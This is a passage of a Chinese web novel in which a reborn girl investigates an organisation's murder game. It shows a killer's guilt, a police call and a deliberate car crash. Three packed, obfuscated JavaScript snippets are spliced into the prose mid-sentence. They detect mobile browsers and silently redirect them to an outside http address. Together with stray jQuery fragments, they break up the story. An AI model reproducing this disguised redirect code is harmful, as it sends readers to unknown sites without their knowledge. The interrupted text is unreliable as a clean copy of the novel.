“他们什么也不会说的,就算说了,他们也什么都不知道,不然条子也不会费尽心思想要抓到你了。”狐面说着,目光突然移向另一侧,“只要你不说,组织就不会暴露。” 许依然下意识以为狐面在说她,愣了一下才意识到狐面是在和另一个人说话,她循着狐面的目光回头看去,发现在靠近天台门口的墙壁处站着一个人。 一个浅棕色头发的外国人,他看起来四十多岁,快要五十岁了,棕发间夹杂着些许白发。他就那样沉默地站在那里,也不知道是一开始就在那的,还是后来才出现的,总之许依然先前压根没发现他。 外国男人抱臂站着,他原先在盯着地板发呆,被狐面点到后才抬眼看向许依然那边。他的深蓝色眼睛里没有多余的情绪,仿佛只是听到声音,想看一看是不是在说自己。 男人的目光先是看向许依然,再看向狐面,许依然看不出他在想什么,只是根据经验判断这人不简单。 而狐面接下来的话恰好也证实了许依然的猜测,ta看向许依然,用介绍一位普通同伴的口吻,对许依然介绍道:“这位是哈伦·佩里克,代号鸦羽,游戏名为‘乌鸦的游戏’,而他所做的事嘛……” 狐面说到这,抬头看了眼哈伦,仿佛是在欣赏他的表情,果不其然,ta在哈伦的脸上看到了一丝痛苦。而许依然也看到了,她迟钝地感到有些疑惑,他为什么会露出那样痛苦的表情? 狐面心满意足地收回目光,接着对许依然介绍道:“悼亡诗案,听说过吗?很精彩很有趣的游戏,不是吗?而犯下那一系列案件,并逍遥法外二十多年的人,正是这位哈伦·佩里克。” 在听到熟悉的案件时,许依然的眼睛一下子瞪大了。眼前这个普通的男人居然就是犯下那个惊天大案的凶手,她既震惊又觉得果然如此,她一开始的直觉确实没错,哈伦是个相当厉害的家伙。 在震惊与感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364392|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慨过后,许依然突然意识到一丝不对劲,她只是个尚未加入组织的新人,狐面为什么要特意和她介绍哈伦的身份?按照组织内的晋升规则,哈伦的地位一定不低,肯定是前五名干部中的一位,这样的人的身份是能随意透露的吗? 据她了解,为了保护组织成员,每一位成员都不会透露自己和他人的身份信息。成员之间皆以代号互称,干部的身份更是机密,连组织内部成员都不会知晓,更别说一个还没正式加入组织的新人了。 狐面为什么会如此详细地向她介绍哈伦的身份?连哈伦做的事都说了出来,ta就不怕哈伦的身份败露吗? 许依然陷入了头脑风暴,她思索着,突然想起狐面对哈伦说的第一句话——只要你不说。 一个猜测在许依然脑中浮现,难道……难道哈伦想要背离组织吗? 许依然的猜测在下一刻得到了证实,狐面就这样当着许依然的面奚落哈伦:“鸦羽,过家家的游戏玩得差不多了吧?你打算什么时候杀掉那两个猎物呢?啊呀,你总不会是饲养猎物养出感情了吧?不会吧不会吧?你不会忘了你手上有多少条人命了吧?” 哈伦始终保持着沉默,他默默承受着狐面的奚落,脸上的痛苦愈发浓重。狐面缓步走到哈伦面前,仿佛是要欣赏他的痛苦一般靠近了他。 “真有趣,一个杀人如麻的刽子手也会产生保护他人的想法吗?你要是下不去手,我大可帮你一把,我对同伴还是很仁慈的,我允许你选择他们的死法。毒杀?刺杀?或者是更有趣的自相残杀?选一个吧。” 哈伦垂头沉默了很久,许依然还以为他会一直沉默,没想到他最终还是开口了:“如果你叫我来只是为了这些无聊的事情的话,我就先离开了。” “无聊的事情?不不不,哈伦,你没有理解我的意思。我的话很明白了,你对猎物产生了多余的感情,这无用的感情拖住了你的脚步,腐蚀了你的刀锋,你变得太温吞了,哈伦。组织早就开始怀疑你了,你再这样温吞下去,组织真的会将你当成叛徒杀死。” 哈伦又陷入了沉默,许依然感觉自己好像看见了什么不得了的事情。暴露哈伦的身份是一种惩罚,也是一种警醒。惩罚他复苏的良心,警醒他双手沾满鲜血。 对于一个穷凶极恶之徒来说,最痛苦的恐怕不是身份败露被抓,而是早已泯灭的人性再次复苏。迟来的良知会一遍遍质问他,你为什么要杀人? 狐面见哈伦又沉默了,顿感无趣,没了继续嘲讽的心思:“你自己好好考虑,尽快给出答复,我的耐心不多,你的时间也不多了。” 狐面说完,招招手,示意许依然跟上。转瞬间天台上只剩下哈伦一人,他眼神放空,抬头看着渐渐明亮的天空,天开始放晴了。手机嗡嗡震动,他拿出来一看,是印白秋发来的消息。 【印白秋】:白夏去买菜了,今晚吃火锅吗? 阳光照到了哈伦身上,他脸上的阴云稍微退散了些,笑着打字回复:好。 48. 警局来电 “啊!是小温姐姐!”小公园里,何景澈老远就看见了小温,他惊喜地喊出声,而小温也笑着跑过来,一把把他举起来。 “我来啦!”小温举着何景澈转了个圈,她举得格外轻松,仿佛只是在举一个棉花娃娃。 “喔!好高好高!我变成小鸟飞起来了!”何景澈咯咯笑着。 何景澄在一旁看着,等小温把何景澈放下来,等他们寒暄结束,小温悄悄靠近何景澄,问道:“你那边进展如何?” 何景澄看了眼开着轮椅到处乱逛的何景澈,小声道:“我和一个代号狐面的人连上了线,对方让我加入一个群聊,群聊里全都是想要加入组织的人。” “你说得这么详细,真的没事吗?”小温担忧地问。 “没事,具体原因有些难以解释,总之我拥有一些特权,组织不会对我过多监视。相对于其他人,我是安全的。” 小温稍微放心了,自从上次折纸星星后,她每周都会来看何景澈。她按照先前和何景澈的约定,帮他收集了很多纸星星,在何景澈震惊的目光中,罐子满了。 虽然何景澄早就知道,小温的人缘不是一般的好,但在看到小温掏出一个上百人的祝福视频时,还是有些被震惊到了。 视频里男女老少各个年龄段的都有,有小温小学初中的同学,也有小区里的其他住户,还有武术馆里的教练或学员,甚至还有科考队的成员。他们全都被小温拉着,一起录了一个很长很长的祝福视频。 何景澈安静地看完视频,在视频结束的那一刻,何景澄戳了戳小温,把她叫了出去。 二人悄悄离开病房,小温关好病房门,和何景澄一起靠在墙壁上,默默听着病房内何景澈的哭声。 直到病房内的哭声渐渐停息,二人才若无其事地回到病房,三个人心照不宣,没有提及刚才的事。 在短暂的相处中,小温发现何景澄和家里人的相处模式就是这样,很多事不会明说,但其他人心里都很清楚,这种相处模式和小温家正好相反。 除了这个发现外,小温还有另外一个发现。何景澄何景澈两兄弟,一个是温和的学神,一个是活泼的话唠,乍一看差别很大,但本质上是相似的。 “小温姐姐小温姐姐!快看快看!”何景澈仰着脖子盯着绿化带的芒果树,兴奋地说道,“有好大一个芒果!” “阿澈,不要停在树底下太久,容易被砸脑袋。”何景澄提醒道。 话音刚落,一只肥硕的松鼠蹿了出来,嘎巴一下把挂着大芒果的树枝踩断了。何景澈本来还想感慨一句“好肥的松鼠”,下一秒就见大芒果带着一截纤细的树枝朝他砸来,他连忙控制着轮椅闪过去。 芒果砸在地上,发出沉闷的声响,何景澈这下不敢在树下停太久了,他有些愤恨地开着轮椅在树下转圈,企图吵死树上的松鼠。 小温看着不远处飙轮椅的何景澈,心想这表里不一的性格倒是一模一样。随便拉个路人来看都不敢相信何景澈是个病人,虽然初见时就吐槽过了,但小温还是忍不住再次吐槽,这也太活泼了! 另外,这轮椅性能真好啊。 刚在心里吐槽完,手机就响了,小温差点以为自己的吐槽被发现了,手忙脚乱地拿出手机一看,是警局的电话。 “喂?” “你好,是温流照吗?” 小温听出了对面的声音,正是之前调查李常家教唆案的警察,她问道:“是的,你是李警官吗?” “对,之前的教唆案有结果了,犯人是个赋闲在家的中年男人,因为被公司裁员失去经济来源,妻子带着孩子跑了,所以才想要报复社会。” 小温愣住了,她一直希望能找到犯人,可真的找到的时候,却觉得心里空空的。 电话另一头的李警官还在讲述:“人我们已经抓住了,具体的量刑结果还没出,总之你可以安心了。” 安心? “不对劲……非常不对劲……”大温在小温脑子里嘀咕,这个词点醒了她,现在可远远不是应该安心的时候。 小温也发现了不对劲,她连忙追问:“李警官,教唆犯已经确定是他了吗?有没有可能存在二次教唆?比如有人指使这个教唆犯这样做?” “你说的不无可能,但就目前的调查结果来看,教唆犯是那个中年男人没错。” “李警官,可以拜托你多多留意一下吗?我总觉得事情没有那么简单……” 李警官似乎以为小温是过度焦虑了,她安慰道:“我会留意的,但案子已经结了,你不用太过焦虑,一切都已经结束了。” 小温很想说还没有结束,但就像从前一样,她说不出口,她无法向他人解释她做出判断的根据。 大温也陷入了沉思,根据何景澄提供的情报,她确实被卷入了一场由反社会组织开启的杀戮游戏,理应只存在一个凶手。从这个凶手所犯下的案件来看,对方是个相当狡诈的人,擅长伪装,很喜欢借刀杀人。 事件一花奶奶坠亡,看似是意外,实际上是凶杀,凶手教唆李常杀人。事件二老温溺亡,也是伪装成意外的他杀,猜测凶手就是游戏的开启者,也就是“猎人”。事件二在被发现是他杀之前,所有罪责都由卢旗旗承担,没有人会怪罪那个藏在幕后的凶手。 而还未开始的事件三,理性思考,大温认为真凶很可能不是书店老板,因为在书店老板落网后,游戏还没有结束,又接着发生了事件四。如果杀死徐幼盈的真的是书店老板,那么也一定有那个“猎人”在背后推波助澜,或许就是“猎人”指使书店老板杀人的。 不过,就算书店老板是被“猎人”指使的“刀”,大温也依旧憎恨他,因为他杀了徐幼盈和其他人,这是不争的事实。即便现在书店老板还没有杀死徐幼盈,他手上也沾满了鲜血。 似乎是小温沉默的时间太长了,电话另一头的李警官疑惑问道:“你还在听吗,小温妹妹?” “啊!抱歉!”小温骤然惊醒,连忙说道,“李警官,我还是不太放心,总之拜托你多多留意一下吧。这只是我的直觉,我觉得那个男人选上李常不是偶然。” 李警官严肃听完,回道:“好,我知道了,我会注意的,这是我的职责所在。” 李警官说完后便挂断了电话,小温重重叹息,也不知道李警官对这件事能有多上心,换做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364393|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小温,在听到这样没有根据的猜测时也会难以相信。何景澄戳了戳小温,小声道:“你貌似还没有和我说过具体说过你遭遇的事情,可以的话,我们需要找个时间一起共享情报。” 小温这才想起来,她确实没和何景澄详细说过李常的事。何景澄方才应该也听到电话内容了,他可能猜到了一部分前因后果,但不知道更详细的经过。 “嗯,确实应该分享一下情报了,但是地点是个问题,有什么地方适合交换情报吗?”小温问。 “嗯……暂时还没有。”何景澄垂眸沉思。 大温一下子想到了逆转空间,这个地方不存在于现实世界,是绝对安全绝对隐蔽的,但问题是何景澄进不来。 为了确认这一点,大温闭眼唤出系统,询问道:“我可以邀请别人进入逆转空间吗?” 【系统】:理论上那是只属于您的空间。 “那实际上呢?” 【系统】:实际上那确实是只属于您的空间。 “……呵呵,下次升级可以别升级些没用的东西吗?这个笑话怪冷的。”大温吐槽完,突然想起还有件事没问系统,连忙问,“我重生者的身份可以暴露吗?” 【系统】:您不能主动暴露重生者的身份和系统的存在,否则将会受到相应的惩罚。即便有人猜到了,您也不能承认。 果然,虽然早有猜测,但得到确切的答案时,大温还是有些失望,她追问道:“说出我前世得知的情报,但隐瞒情报来源,这样会受到惩罚吗?” 如果要和何景澄联手,必须得共享情报,共享情报包括了她知道的前世的情报。要是连这都不被允许,那接下来的行动就有些困难了。 【系统】:假如说出情报不会让对方猜到您是重生者,您便不会受到惩罚。 “也就是说,如果对方本身就已经猜到我的身份了,那么我向他透露情报便不会受到惩罚?”大温抓住了漏洞。 【系统】:确实如此。 总算得到好消息了,大温松了口气,再睁开眼时,小温恰好灵光一闪,对何景澄说道:“那去你家不是可以吗?” “我、我家?”何景澄似乎被小温的发言吓了一跳,说话都有些结巴了。 何景澈不知道什么时候逛回来了,歪着头重复道:“我家?” “对啊,你家不是……额……很合适吗?”小温话说一半想起何景澈还在旁边,连忙把话头掐断,这可不是应该在小孩面前说的事情。 何景澄猜到了小温想说什么,因为他说过组织不会对他过多监视,那么他家里反倒更安全隐蔽。 知道归知道,但听到小温直接说出来时,何景澄还是被惊到了,她真的对所有人都一视同仁啊,也不管对方是不是异性。 何景澄释然地笑了:“嗯,如果不介意的话,这确实是个合适的地点。” 因为家中有几位在公安系统里工作的亲戚,何景澄家里的安保系统很牢固,很难受到监视。上一次被监视还是因为他打开狐面的邮件,被病毒入侵了,那算是一个小意外。 “那么明天见吧。”小温笑着和两兄弟告别,转身离开医院。 49. 残酷 回到家后已是下午六点,大温拖着疲惫的步伐走进家门。因为之前太忙,武术馆那边落下了很多的功课,现在一有时间就要被教练压着加练,饶是小温这样精力充沛的人也遭不住。 她脚下打飘,晃晃悠悠地走进客厅,看到老温在阳台摆弄他种的小葱。泡沫箱里的小葱长得参差齐全的,有些被掐去炒菜了,有些种子没发芽,有些发芽了又死掉了。 “哟,回来了?”老温回头笑嘻嘻地说道。 “诶,你今天怎么回来那么早?”大温有些意外地问。 “忙完了,跟领导请了个长假,你之前不是说想一起出门玩吗?” “对哦,你们商量好去哪了吗?” “这个嘛,暂时先保密。”老温冲大温眨眨眼,“秦女士今晚会晚点回来,咱俩出去吃吗?” “好耶!吃什么?”大温一听到吃的眼睛都亮了,花奶奶离世后,少了一个经常投喂她的人,她这段时间久违地感到了饥饿。 “你想吃什么?” 这话把大温问住了,她认真地纠结了好一会,郑重道:“烧烤。” 大温没说去哪家,老温开着电动车往小巷里钻,七拐八绕终于到了一家招牌有些掉色的老旧店铺门口。夜晚是烧烤店人最多的时候,店员正在摆放桌椅,熟悉的烤肉香味钻入大温的鼻子。 这家店营业的时间比小温的年纪还大,即便是在这样偏僻难找的地方,每天也有很多老顾客前来点餐。老温也是这里的老顾客,他们家来过这家店很多次了,店员和老板都对他们一家人很熟悉。 有眼尖的店员看到了他们父女俩,连忙招呼道:“哎呀!老温!还有温小妹!” “老板!老温来了!”有店员朝店内喊道。 “哟,李婶晚上好啊。”老温朝最先发现他们的店员打招呼道。 “好久没来了啊,来来来,坐坐坐,这块风扇风大。”李婶招呼着两人坐下。 店老板从店里走出来,一见到老温就笑着小跑过来,老温也笑着迎上去,二人抬手击了个响亮的掌,随后又用力握了个手。 “好久不见啊,最近又在忙什么?”店老板问。 “工作啊,加班了一阵子,攒了个长假带女儿出去玩。” 大温看着老温和烧烤店老板叙旧,重生以来还是第一次来这家烧烤店,她不免有些怀念。她就这样看了会,直到李婶拿来菜单,招呼着让她先点菜。 “这几样是新出的,待会我给你们拿一点,你们尝尝好不好吃!”李婶指着菜单上的几样新菜,悄悄对大温说。 大温给李婶竖了两根大拇指,按照以前的习惯点好了菜,李婶麻溜地端来一盘烤韭菜,让大温先吃着,大温一边吃一边悠闲地四处张望。 天完全黑下来了,陆陆续续有人开车来到这家烧烤店,原本空荡荡的桌位上人渐渐变多了。老温还在和店老板闲聊,大温看了眼,继续吃她的了。大温吃到一半突然想起和何景澄的约定,明天她要和家人一起出去旅游,没法和何景澄交换情报了。 她抽了张纸巾擦手,掏出手机想给何景澄发个消息,结果手一滑,手机屏幕朝着地板,“啪”一下摔在地上。那一声摔得很响,连坐在另一桌聊天的老温都听见了,老温回头一看,就见大温边念叨着“痛痛痛”,边弯腰捡起摔在地上的手机。 “啊,摔裂了!”大温捧着手机泫然欲泣。 原本光洁的钢化玻璃多了一条自上而下的裂痕,把手机屏幕斜斜切成了两半,不知为何,在看到裂痕的那一刻,大温心里隐隐有些不好的预感。她不知道这预感从何而来,只是下意识地看向老温。 “咋啦?摔坏啦?”老温笑着问道。 周遭的环境渐渐嘈杂,食客越来越多了,有十几个人一起拼桌喝酒吃肉的,有家人或者朋友围坐在一张小桌上的。大温可以听到食客们窸窸窣窣的交谈声,能闻到烤肉诱人的香味,能看到老温带笑的脸,那种隐隐的担忧在老温温暖的笑中逐渐淡去,她也忍不住露出一个笑容。 “钢化膜裂了,待会回去的路上带我去换张膜。”大温指使道。 “哇,你好霸道哦。”老温捧读。 大温抓起桌上吃完的竹签指着老温,老温举起双手作投降状,大温满意地点点头,打开手机,给何景澄发消息。 【大温】:抱歉,我明天要和家人出门旅游,不能赴约了,等我回来再交换情报吧。 没一会儿,何景澄也回复了。 【何景澄】:好,注意安全。 大温盯着开裂的屏幕,裂纹正好穿过“安全”二字的中间,她的心脏突地一跳,那种莫名的心悸又涌上心头了。 【何景澄】:怎么了吗? 新消息突然弹出,大温被吓了一跳,这才发现自己点开了输入框。何景澄大概是看到“正在输入中”的字样,却迟迟没看到新消息弹出,便有些疑惑地问了句。 小温也略带担忧地询问:“怎么了吗?” 【大温】:我不知道,说不上来,总觉得有什么事情要发生了,莫名的心慌。 “你说得我也紧张了,应该,不会吧?”小温越说越小声,很没底气的样子。 【何景澄】:不管发生什么,这次你都不会是独自一人了。 “嗯!对!这次我们都不是独自一人了!”小温加油打气道。 “说得也是。”大温微微勾起嘴角,心渐渐沉了下来。 大温和老温边插科打诨边吃完一顿烧烤,晚上八点时,父女二人告别了店长和店员,开着电车返回家里。刚离开烧烤店几百米,老温想起了大温摔裂的手机屏幕,问道:“手机屏幕要现在去修吗?” “你说什么?”大温在风里咆哮。 “我说!手机屏幕!现在修吗!”老温也跟着咆哮。 大温总觉得待在外面不太安心,她吼道:“算了!下次再找时间修吧!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364394|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦!”老温吼着回应。 老温喊完,二人又陷入了沉默,耳边只剩下车辆的鸣笛声和风声,间或穿插着商铺的吆喝声。在这样有些吵闹的安静中,大温开始幻想着明天旅游的地点。 也不知道这次会去哪里,是去海边愉快地冲浪,还是去挑战征服泰山,又或者是去高原上看那些稀有的景色。 什么都好,其实她最想要的,不过是家人团聚。 一个很普通的愿望,一个难以实现的愿望。 在另一辆轿车的车灯从左侧向她靠近时,当那夺目的灯光刺得她眼睛发痛时,她这样想。 啊,这个愿望,还是没法实现啊。 …… 昏暗的室内,面向街道的窗户敞开着,狐面透过洞开的窗户看着这一切,在轿车不可控地撞上电动车,狐面语气愉快地“砰!”了一声。 “直接对猎物出手,这违背了游戏规定。”狐面身后的黑暗之中,传来一个女人的声音,女人的声音略有不满,似乎很看不惯狐面的做法。 “可是这很有趣诶,不是吗?在一个人最期待的时候把她推下悬崖,看她努力挣扎着往上爬,在快要爬上来时再往下一推……这很有趣吧?只要足够有趣,我相信首领会原谅我的违规。” “规则是绝对的。”女人的声音冰冷,再度强调,“你的意思是,首领立下的规则并没有那么严格,是有违反的可能的?” 狐面听出了女人话里的含义,额头渗出冷汗,意识到自己有些得意忘形了,忙不迭道:“我没有要违背首领的意愿的意思!我是组织里最忠诚的人,这首领也是知道的!谁叛逃我也不会叛逃的!” 女人听罢冷笑一声,她拖过一把转椅,姿态优雅地坐下,慢悠悠说道:“你确实不会叛逃呢,无视规则,挑战首领的底线,我看,你是想自己当这个首领吧?” 最后一句话一说出口,狐面便被吓得跪倒在地,ta几乎是慌乱地辩解道:“我、我没有!我从来不敢奢求那个位置!大、大小姐,我错了,我真的错了!” 女人睥睨着地上匍匐的狐面,有些厌烦地挥挥手:“赶紧滚,看到你就心烦。” 狐面心里清楚得很,大小姐一直都很讨厌ta,此刻ta也不想再在大小姐眼前晃了,省得她心烦,又给ta添几条罪名。狐面从地上爬起来,麻溜滚了,等到狐面离开房间,女人才起身走到窗边。 这间房间的窗户是推拉式的,此刻玻璃窗被推开了,视野宽敞,街道一览无余。女人的手搭在窗沿,看着远处混乱的街道。 单凭肉眼没办法看清人影,她只能看到逐渐拥堵的马路,在流动的车辆之间,只有车祸的那一块地方始终静止不动。她看了一会,在远处看到了闪烁的红蓝色车灯,听到了救护车的鸣笛声,这才放心把窗户合上。 “嗯,看来不需要我打急救电话。”女人在黑暗中自言自语道,“可别那么快就死掉了啊,温流照。”